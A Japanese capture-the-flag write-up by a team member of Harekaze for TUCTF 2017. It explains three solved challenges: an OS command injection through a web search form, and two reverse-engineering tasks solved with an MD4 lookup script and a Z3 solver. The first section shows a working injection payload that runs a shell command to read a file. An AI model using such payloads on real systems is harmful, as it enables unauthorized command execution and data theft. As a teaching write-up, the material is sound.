チーム Harekaze で TUCTF 2017 に参加しました。最終的にチームで 2176 点を獲得し、順位は得点 948 チーム中 44 位でした。うち、私は 3 問を解いて 750 点を入れました。
以下、解いた問題の write-up です。
与えられた URL にアクセスすると、検索フォームと YouTube の動画が表示されました。
いろいろ試してみると、どうやらこの検索フォームは YouTube で入力した文字列を検索し、最初に出てきた動画を表示しているということが分かりました。
"; echo "hoge
を入力してみると、以下のような iframe が表示されました。
<iframe width="560" height="315" src="hoge?autoplay=1" frameborder="0" allowfullscreen=""></iframe>
OS コマンドインジェクションができそうです。以下の文字列を入力するとフラグが得られました。
"; echo "`head -n 1 flag`
TUCTF{D0nt_Th1nk_H4x0r$_C4nt_3sc4p3_Y0ur_Pr0t3ct10ns}
unknown
というファイルが与えられました。file
でどのようなファイルか調べてみましょう。
$ file ./unknown
./unknown: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=53ec94bd1406ec6b9a28f5308a92e4d906444edb, stripped
x86_64 の ELF のようです。実行してみましょう。
$ ./unknown
Try again.
$ ./unknown hoge
Still nope.
$ ltrace ./unknown hoge
__libc_start_main(0x401c02, 2, 0x7ffe10be2c58, 0x401ce0 <unfinished ...>
strlen("hoge") = 4
puts("Still nope."Still nope.
) = 12
+++ exited (status 254) +++
コマンドライン引数から入力を行うようです。
objdump -d
で逆アセンブルして解析していきましょう。
まず、strlen
を呼んでいる箇所を探すと以下のような処理が見つかりました。
401c2b: 48 8b 45 e0 mov rax,QWORD PTR [rbp-0x20]
401c2f: 48 83 c0 08 add rax,0x8
401c33: 48 8b 00 mov rax,QWORD PTR [rax]
401c36: 48 89 c7 mov rdi,rax
401c39: e8 42 e9 ff ff call 400580 <strlen@plt>
401c3e: 8b 15 48 02 00 00 mov edx,DWORD PTR [rip+0x248] # 401e8c <__gmon_start__@plt+0x189c>
401c44: 89 d2 mov edx,edx
401c46: 48 39 d0 cmp rax,rdx
401c49: 74 11 je 401c5c <__gmon_start__@plt+0x166c>
401c4b: bf 81 1d 40 00 mov edi,0x401d81
401c50: e8 1b e9 ff ff call 400570 <puts@plt>
401c55: b8 fe ff ff ff mov eax,0xfffffffe
401c5a: eb 76 jmp 401cd2 <__gmon_start__@plt+0x16e2>
gdb-peda$ x/d 0x401e8c
0x401e8c: 56
gdb-peda$ x/s 0x401d81
0x401d81: "Still nope."
フラグは 56 文字のようです。
他の部分を眺めていると、0x400ce1 という非常に長く複雑な関数が見つかりました。0x5a827999
や 0x6ed9eba1
のような特徴的な数値があることから、SHA-1 か MD4 であることが分かります。A
という文字列を引数として呼び出すと \xd5\xef\x20\xee\xb3\xf7\x56\x79\xf8\x6c\xf5\x7f\x93\xed\x0f\xfe
という感じの文字列が返ってきたことから、MD4 と分かりました。
0x400ce1 という関数を呼び出している箇所を調べると、0x400a1c という関数が見つかりました。A
という文字列を引数として呼び出すと d5ef20eeb3f75679f86cf57f93ed0ffe
という文字列が返ってきたことから、引数を MD4 でハッシュ化し hex 文字列として返す関数であると分かりました。
奇妙なことに、0x400a1c
はどこからも呼び出されていません。objdump -D
で他のセクションも探してみると、.TEXT
というセクションが見つかりました。
Disassembly of section .TEXT:
0000000000401e90 <.TEXT>:
401e90: 55 push rbp
401e91: 49 89 e6 mov r14,rsp
401e94: 49 89 e7 mov r15,rsp
401e97: 49 81 ef 74 17 00 00 sub r15,0x1774
401e9e: 48 b8 73 27 65 72 65 movabs rax,0x74686572652773
401ea5: 68 74 00
401ea8: b9 6e 61 00 00 mov ecx,0x616e
401ead: 48 ba 72 65 69 73 61 movabs rdx,0x656173696572
401eb4: 65 00 00
401eb7: bb 79 61 77 00 mov ebx,0x776179
401ebc: 48 31 d2 xor rdx,rdx
401ebf: 48 31 db xor rbx,rbx
401ec2: 48 31 c9 xor rcx,rcx
401ec5: 48 ff c1 inc rcx
401ec8: 81 c3 9a 02 00 00 add ebx,0x29a
401ece: 48 83 f9 2f cmp rcx,0x2f
401ed2: 7c f1 jl 401ec5 <__gmon_start__@plt+0x18d5>
401ed4: 83 c3 23 add ebx,0x23
401ed7: 8a 14 37 mov dl,BYTE PTR [rdi+rsi*1]
401eda: 49 89 fb mov r11,rdi
401edd: 49 89 f4 mov r12,rsi
401ee0: 49 89 57 08 mov QWORD PTR [r15+0x8],rdx
401ee4: 49 8d 7f 08 lea rdi,[r15+0x8]
401ee8: be 01 00 00 00 mov esi,0x1
401eed: e8 2a eb ff ff call 400a1c <__gmon_start__@plt+0x42c>
401ef2: be 10 00 00 00 mov esi,0x10
401ef7: 48 89 c7 mov rdi,rax
401efa: 48 83 c7 18 add rdi,0x18
401efe: e8 da fc ff ff call 401bdd <__gmon_start__@plt+0x15ed>
401f03: 4c 89 df mov rdi,r11
401f06: 4c 89 e6 mov rsi,r12
401f09: 48 f7 e3 mul rbx
401f0c: 83 e0 ff and eax,0xffffffff
401f0f: c1 c0 15 rol eax,0x15
401f12: 48 b9 ac 1d 40 00 00 movabs rcx,0x401dac
401f19: 00 00 00
401f1c: 48 8b 0c b1 mov rcx,QWORD PTR [rcx+rsi*4]
401f20: 39 c8 cmp eax,ecx
401f22: 74 0a je 401f2e <__gmon_start__@plt+0x193e>
401f24: b8 01 00 00 00 mov eax,0x1
401f29: 4c 89 f4 mov rsp,r14
401f2c: 5d pop rbp
401f2d: c3 ret
401f2e: b8 00 00 00 00 mov eax,0x0
401f33: 4c 89 f4 mov rsp,r14
401f36: 5d pop rbp
401f37: c3 ret
1 文字ずつ MD4 でハッシュ化し、下位 32 ビットをゴニョゴニョして 0x401dac から格納されている数値と比較しているようです。ソルバを書きましょう。
import string
import struct
from Crypto.Hash import MD4
def ub(x):
return struct.unpack('>I', x)[0]
def ul(x):
return struct.unpack('<I', x)[0]
def rol(x, n):
return ((x << n) | (x >> (32 - n))) & 0xffffffff
def f(x):
return rol((x * 0x7a69) & 0xffffffff, 0x15)
t = {}
for c in string.printable:
x = ub(MD4.new(c).digest()[-4:])
t[f(x)] = c
flag = ''
with open('unknown', 'rb') as f:
f.seek(0x1dac)
for _ in range(0x38):
flag += t[ul(f.read(4))]
print flag
$ python2 solve.py
TUCTF{w3lc0m3_70_7uc7f_4nd_7h4nk_y0u_f0r_p4r71c1p471n6!}
フラグが得られました。
TUCTF{w3lc0m3_70_7uc7f_4nd_7h4nk_y0u_f0r_p4r71c1p471n6!}
future.c
とこれをコンパイルした future
という x86_64 の ELF ファイルが与えられました。
future.c
は以下のような内容でした。
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void genMatrix(char mat[5][5], char str[]) {
for (int i = 0; i < 25; i++) {
int m = (i * 2) % 25;
int f = (i * 7) % 25;
mat[m/5][m%5] = str[f];
}
}
void genAuthString(char mat[5][5], char auth[]) {
auth[0] = mat[0][0] + mat[4][4];
auth[1] = mat[2][1] + mat[0][2];
auth[2] = mat[4][2] + mat[4][1];
auth[3] = mat[1][3] + mat[3][1];
auth[4] = mat[3][4] + mat[1][2];
auth[5] = mat[1][0] + mat[2][3];
auth[6] = mat[2][4] + mat[2][0];
auth[7] = mat[3][3] + mat[3][2] + mat[0][3];
auth[8] = mat[0][4] + mat[4][0] + mat[0][1];
auth[9] = mat[3][3] + mat[2][0];
auth[10] = mat[4][0] + mat[1][2];
auth[11] = mat[0][4] + mat[4][1];
auth[12] = mat[0][3] + mat[0][2];
auth[13] = mat[3][0] + mat[2][0];
auth[14] = mat[1][4] + mat[1][2];
auth[15] = mat[4][3] + mat[2][3];
auth[16] = mat[2][2] + mat[0][2];
auth[17] = mat[1][1] + mat[4][1];
}
int main() {
char flag[26];
printf("What's the flag: ");
scanf("%25s", flag);
flag[25] = 0;
if (strlen(flag) != 25) {
puts("Try harder.");
return 0;
}
// Setup matrix
char mat[5][5];// Matrix for a jumbled string
genMatrix(mat, flag);
// Generate auth string
char auth[19]; // The auth string they generate
auth[18] = 0; // null byte
genAuthString(mat, auth);
char pass[19] = "\x8b\xce\xb0\x89\x7b\xb0\xb0\xee\xbf\x92\x65\x9d\x9a\x99\x99\x94\xad\xe4\x00";
// Check the input
if (!strcmp(pass, auth)) {
puts("Yup thats the flag!");
} else {
puts("Nope. Try again.");
}
return 0;
}
Z3 に解かせてみましょう。
from z3 import *
flag = [BitVec('flag_%d' % x, 8) for x in range(25)]
mat = [[0 for _ in range(5)] for _ in range(5)]
for i in range(25):
m = (i * 2) % 25
f = (i * 7) % 25
mat[m / 5][m % 5] = flag[f]
auth = [0] * 18
auth[0] = mat[0][0] + mat[4][4]
auth[1] = mat[2][1] + mat[0][2]
auth[2] = mat[4][2] + mat[4][1]
auth[3] = mat[1][3] + mat[3][1]
auth[4] = mat[3][4] + mat[1][2]
auth[5] = mat[1][0] + mat[2][3]
auth[6] = mat[2][4] + mat[2][0]
auth[7] = mat[3][3] + mat[3][2] + mat[0][3]
auth[8] = mat[0][4] + mat[4][0] + mat[0][1]
auth[9] = mat[3][3] + mat[2][0]
auth[10] = mat[4][0] + mat[1][2]
auth[11] = mat[0][4] + mat[4][1]
auth[12] = mat[0][3] + mat[0][2]
auth[13] = mat[3][0] + mat[2][0]
auth[14] = mat[1][4] + mat[1][2]
auth[15] = mat[4][3] + mat[2][3]
auth[16] = mat[2][2] + mat[0][2]
auth[17] = mat[1][1] + mat[4][1]
p = "\x8b\xce\xb0\x89\x7b\xb0\xb0\xee\xbf\x92\x65\x9d\x9a\x99\x99\x94\xad\xe4"
s = Solver()
for c in flag:
s.add(0x20 <= c, c < 0x7f)
for c, d in zip(auth, p):
s.add(c == ord(d))
s.add(flag[0] == ord('T'))
s.add(flag[1] == ord('U'))
s.add(flag[2] == ord('C'))
s.add(flag[3] == ord('T'))
s.add(flag[4] == ord('F'))
s.add(flag[5] == ord('{'))
s.add(flag[-1] == ord('}'))
r = s.check()
m = s.model()
res = ''
for c in flag:
res += chr(m[c].as_long())
print res
$ python2 solve.py
TUCTF{5y573m5_0f_4_d0wn!}
フラグが得られました。
TUCTF{5y573m5_0f_4_d0wn!}